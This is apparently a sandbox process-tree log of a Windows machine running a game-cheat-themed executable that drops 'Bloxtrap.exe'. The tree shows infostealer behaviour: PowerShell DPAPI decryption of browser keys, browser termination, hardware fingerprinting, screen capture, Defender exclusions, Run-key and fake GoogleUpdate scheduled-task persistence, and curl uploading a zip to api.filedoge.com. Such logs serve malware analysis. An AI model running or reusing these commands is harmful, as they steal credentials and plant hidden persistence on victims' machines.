                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4268 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:940
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5028 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:3068
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=4164 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:6100
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=5600 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                                          2⤵
                                                                                                            PID:4236
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=4264 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:5324
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5740 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:2
                                                                                                              2⤵
                                                                                                                PID:4884
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --mojo-platform-channel-handle=5760 --field-trial-handle=1856,i,9467787497789502306,12535340632860302654,131072 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:1216
                                                                                                              • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                                                                                                                1⤵
                                                                                                                  PID:5156
                                                                                                                • C:\ProgramData\svchost.exe
                                                                                                                  C:\ProgramData\svchost.exe
                                                                                                                  1⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:6000
                                                                                                                • C:\ProgramData\svchost.exe
                                                                                                                  C:\ProgramData\svchost.exe
                                                                                                                  1⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  PID:2264
                                                                                                                • C:\Windows\system32\taskmgr.exe
                                                                                                                  "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                  1⤵
                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                  • Checks processor information in registry
                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                  • Suspicious use of SendNotifyMessage
                                                                                                                  PID:6028
                                                                                                                • C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\ONLY RUN THIS IF IT DOESNT OPEN.exe
                                                                                                                  "C:\Users\Admin\Downloads\C437rPSQNVzgjPbIKiUZsEqostl9FnPve5mDqEpa\Krampus\ONLY RUN THIS IF IT DOESNT OPEN.exe"
                                                                                                                  1⤵
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Loads dropped DLL
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:2328
                                                                                                                  • C:\ProgramData\Steam\Launcher\Bloxtrap.exe
                                                                                                                    C:\ProgramData\Steam\Launcher\Bloxtrap.exe
                                                                                                                    2⤵
                                                                                                                    • Checks computer location settings
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    PID:5588
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
                                                                                                                      3⤵
                                                                                                                        PID:4080
                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                          curl http://api.ipify.org/ --ssl-no-revoke
                                                                                                                          4⤵
                                                                                                                            PID:1612
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                                                                                                          3⤵
                                                                                                                            PID:5888
                                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                                              tasklist
                                                                                                                              4⤵
                                                                                                                              • Enumerates processes with tasklist
                                                                                                                              PID:1896
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM chrome.exe /F"
                                                                                                                            3⤵
                                                                                                                              PID:1056
                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                taskkill /IM chrome.exe /F
                                                                                                                                4⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                PID:2312
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM msedge.exe /F"
                                                                                                                              3⤵
                                                                                                                                PID:4780
                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                  taskkill /IM msedge.exe /F
                                                                                                                                  4⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:2936
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "tasklist"
                                                                                                                                3⤵
                                                                                                                                  PID:5356
                                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                                    tasklist
                                                                                                                                    4⤵
                                                                                                                                    • Enumerates processes with tasklist
                                                                                                                                    PID:5912
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,55,217,253,47,194,158,35,70,178,160,141,83,138,196,143,102,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,212,194,153,28,92,191,57,21,40,132,88,228,173,166,106,133,251,41,118,64,127,92,9,80,222,233,98,198,89,226,123,218,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,1,215,242,167,138,250,71,141,10,41,39,163,28,97,239,110,249,188,77,9,103,118,29,200,7,172,200,0,208,239,244,53,48,0,0,0,167,220,27,142,39,85,159,95,130,245,177,33,43,246,188,118,206,114,131,105,229,109,208,38,21,96,132,16,162,228,3,48,109,130,43,64,251,204,43,3,61,23,197,190,239,95,12,11,64,0,0,0,203,151,142,89,10,91,9,89,27,110,122,154,139,239,83,76,108,26,6,193,91,177,222,215,242,129,159,122,85,207,14,70,76,151,70,158,25,196,26,146,87,249,179,108,194,43,77,2,108,15,33,240,194,214,106,175,150,141,151,128,53,145,106,133), $null, 'CurrentUser')"
                                                                                                                                  3⤵
                                                                                                                                  • An obfuscated cmd.exe command-line is typically used to evade detection.
                                                                                                                                  PID:3096
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,55,217,253,47,194,158,35,70,178,160,141,83,138,196,143,102,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,212,194,153,28,92,191,57,21,40,132,88,228,173,166,106,133,251,41,118,64,127,92,9,80,222,233,98,198,89,226,123,218,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,1,215,242,167,138,250,71,141,10,41,39,163,28,97,239,110,249,188,77,9,103,118,29,200,7,172,200,0,208,239,244,53,48,0,0,0,167,220,27,142,39,85,159,95,130,245,177,33,43,246,188,118,206,114,131,105,229,109,208,38,21,96,132,16,162,228,3,48,109,130,43,64,251,204,43,3,61,23,197,190,239,95,12,11,64,0,0,0,203,151,142,89,10,91,9,89,27,110,122,154,139,239,83,76,108,26,6,193,91,177,222,215,242,129,159,122,85,207,14,70,76,151,70,158,25,196,26,146,87,249,179,108,194,43,77,2,108,15,33,240,194,214,106,175,150,141,151,128,53,145,106,133), $null, 'CurrentUser')
                                                                                                                                    4⤵
                                                                                                                                      PID:1856
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,55,217,253,47,194,158,35,70,178,160,141,83,138,196,143,102,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,2,158,118,22,128,206,38,214,154,173,31,250,73,22,18,201,153,252,128,70,17,132,23,148,126,226,196,5,152,2,140,161,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,1,113,209,189,176,143,72,77,31,25,105,93,77,110,223,81,252,88,137,194,58,207,158,150,90,45,228,57,225,204,213,36,48,0,0,0,51,18,172,101,190,93,63,44,163,92,90,182,247,79,32,250,214,241,254,124,104,146,33,101,83,129,98,247,248,236,58,147,205,211,221,171,66,41,83,206,131,201,40,201,32,97,250,172,64,0,0,0,133,180,178,11,164,18,71,25,93,87,173,65,172,237,72,61,85,139,41,16,145,27,89,242,228,119,230,8,67,178,60,198,59,197,69,72,227,201,232,120,50,14,249,208,115,175,220,3,228,170,132,15,34,75,183,240,195,212,153,186,154,50,76,140), $null, 'CurrentUser')"
                                                                                                                                    3⤵
                                                                                                                                    • An obfuscated cmd.exe command-line is typically used to evade detection.
                                                                                                                                    PID:4408
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,55,217,253,47,194,158,35,70,178,160,141,83,138,196,143,102,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,2,158,118,22,128,206,38,214,154,173,31,250,73,22,18,201,153,252,128,70,17,132,23,148,126,226,196,5,152,2,140,161,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,1,113,209,189,176,143,72,77,31,25,105,93,77,110,223,81,252,88,137,194,58,207,158,150,90,45,228,57,225,204,213,36,48,0,0,0,51,18,172,101,190,93,63,44,163,92,90,182,247,79,32,250,214,241,254,124,104,146,33,101,83,129,98,247,248,236,58,147,205,211,221,171,66,41,83,206,131,201,40,201,32,97,250,172,64,0,0,0,133,180,178,11,164,18,71,25,93,87,173,65,172,237,72,61,85,139,41,16,145,27,89,242,228,119,230,8,67,178,60,198,59,197,69,72,227,201,232,120,50,14,249,208,115,175,220,3,228,170,132,15,34,75,183,240,195,212,153,186,154,50,76,140), $null, 'CurrentUser')
                                                                                                                                      4⤵
                                                                                                                                        PID:3980
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
                                                                                                                                      3⤵
                                                                                                                                        PID:3996
                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                          wmic diskdrive get serialnumber
                                                                                                                                          4⤵
                                                                                                                                            PID:5508
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f"
                                                                                                                                          3⤵
                                                                                                                                            PID:6000
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Steam /f
                                                                                                                                              4⤵
                                                                                                                                                PID:1840
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\Users\Admin\AppData\Roaming\Bloxtrap\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM"
                                                                                                                                              3⤵
                                                                                                                                                PID:1752
                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                  schtasks /create /tn "GoogleUpdateTaskMachineUAC" /tr "cscript //nologo C:\Users\Admin\AppData\Roaming\Bloxtrap\RunBatHidden.vbs" /sc minute /mo 10 /f /RU SYSTEM
                                                                                                                                                  4⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:2152
                                                                                                                                              • C:\ProgramData\Steam\Launcher\Bloxtrap.exe
                                                                                                                                                "C:\ProgramData\Steam\Launcher\Bloxtrap.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Bloxtrap" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1788 --field-trial-handle=1988,i,1804089418649347390,17820498976918520433,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:1308
                                                                                                                                              • C:\ProgramData\Steam\Launcher\Bloxtrap.exe
                                                                                                                                                "C:\ProgramData\Steam\Launcher\Bloxtrap.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Bloxtrap" --mojo-platform-channel-handle=1340 --field-trial-handle=1988,i,1804089418649347390,17820498976918520433,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                PID:5984
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Roaming\Bloxtrap\RunBatHidden.vbs""
                                                                                                                                                3⤵
                                                                                                                                                  PID:3568
                                                                                                                                                  • C:\Windows\system32\cscript.exe
                                                                                                                                                    cscript //nologo "C:\Users\Admin\AppData\Roaming\Bloxtrap\RunBatHidden.vbs"
                                                                                                                                                    4⤵
                                                                                                                                                    • Checks computer location settings
                                                                                                                                                    PID:1036
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Bloxtrap\CheckEpicGamesLauncher.bat" "
                                                                                                                                                      5⤵
                                                                                                                                                        PID:4812
                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                          powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
                                                                                                                                                          6⤵
                                                                                                                                                            PID:1916
                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                            powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows"
                                                                                                                                                            6⤵
                                                                                                                                                              PID:6068
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam" /t REG_SZ /d "C:\ProgramData\Steam\Launcher\Bloxtrap.exe" /f
                                                                                                                                                              6⤵
                                                                                                                                                              • Adds Run key to start application
                                                                                                                                                              • Modifies registry key
                                                                                                                                                              PID:2788
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Steam"
                                                                                                                                                              6⤵
                                                                                                                                                              • Modifies registry key
                                                                                                                                                              PID:2344
                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                              curl -o "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Steam_Service.exe" YOUR-BINDED-EXE-LINK-HERE
                                                                                                                                                              6⤵
                                                                                                                                                                PID:1656
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get serialnumber"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5164
                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                              wmic baseboard get serialnumber
                                                                                                                                                              4⤵
                                                                                                                                                                PID:4300
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2316
                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                  wmic path win32_computersystemproduct get uuid
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:1520
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5236
                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                      wmic PATH Win32_VideoController GET Description,PNPDeviceID
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:5868
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic memorychip get serialnumber"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:6036
                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                          wmic memorychip get serialnumber
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:4088
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:716
                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                              wmic csproduct get uuid
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:896
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get processorid"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2080
                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                  wmic cpu get processorid
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:4464
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "getmac /NH"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5152
                                                                                                                                                                                    • C:\Windows\system32\getmac.exe
                                                                                                                                                                                      getmac /NH
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:5688
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1""
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3832
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\CaptureScreens.ps1"
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:3012
                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Dtkutjrl.zip";"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5320
                                                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                                                              curl --location --request POST "https://api.filedoge.com/upload" -H "Content-Type: multipart/form-data;" --form "file=@C:/ProgramData/Steam/Launcher/EN-Dtkutjrl.zip";
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:3672
                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4644
                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                  wmic bios get smbiosbiosversion
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:5428
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:4420
                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                      wmic MemoryChip get /format:list
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:2404
                                                                                                                                                                                                      • C:\Windows\system32\find.exe
                                                                                                                                                                                                        find /i "Speed"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:4524
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:932
                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                            wmic path win32_VideoController get name
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Detects videocard installed
                                                                                                                                                                                                            PID:1004
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4884
                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:3180
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4036
                                                                                                                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                  curl http://api.ipify.org/ --ssl-no-revoke
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:4924
                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:5264
                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                      wmic bios get smbiosbiosversion
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2744
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2824
                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                          wmic MemoryChip get /format:list
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:2888
                                                                                                                                                                                                                          • C:\Windows\system32\find.exe
                                                                                                                                                                                                                            find /i "Speed"
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:4832
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:6088
                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                wmic path win32_VideoController get name
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                • Detects videocard installed
                                                                                                                                                                                                                                PID:4980
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:4048
                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:3328
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:4216
                                                                                                                                                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                      curl http://api.ipify.org/ --ssl-no-revoke
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:3728
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:4112
                                                                                                                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                          wmic bios get smbiosbiosversion
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:3756
                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:2412
                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                              wmic MemoryChip get /format:list
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:1656
                                                                                                                                                                                                                                              • C:\Windows\system32\find.exe
                                                                                                                                                                                                                                                find /i "Speed"
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:3192
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:5628
                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                    wmic path win32_VideoController get name
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                    • Detects videocard installed
                                                                                                                                                                                                                                                    PID:5548
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
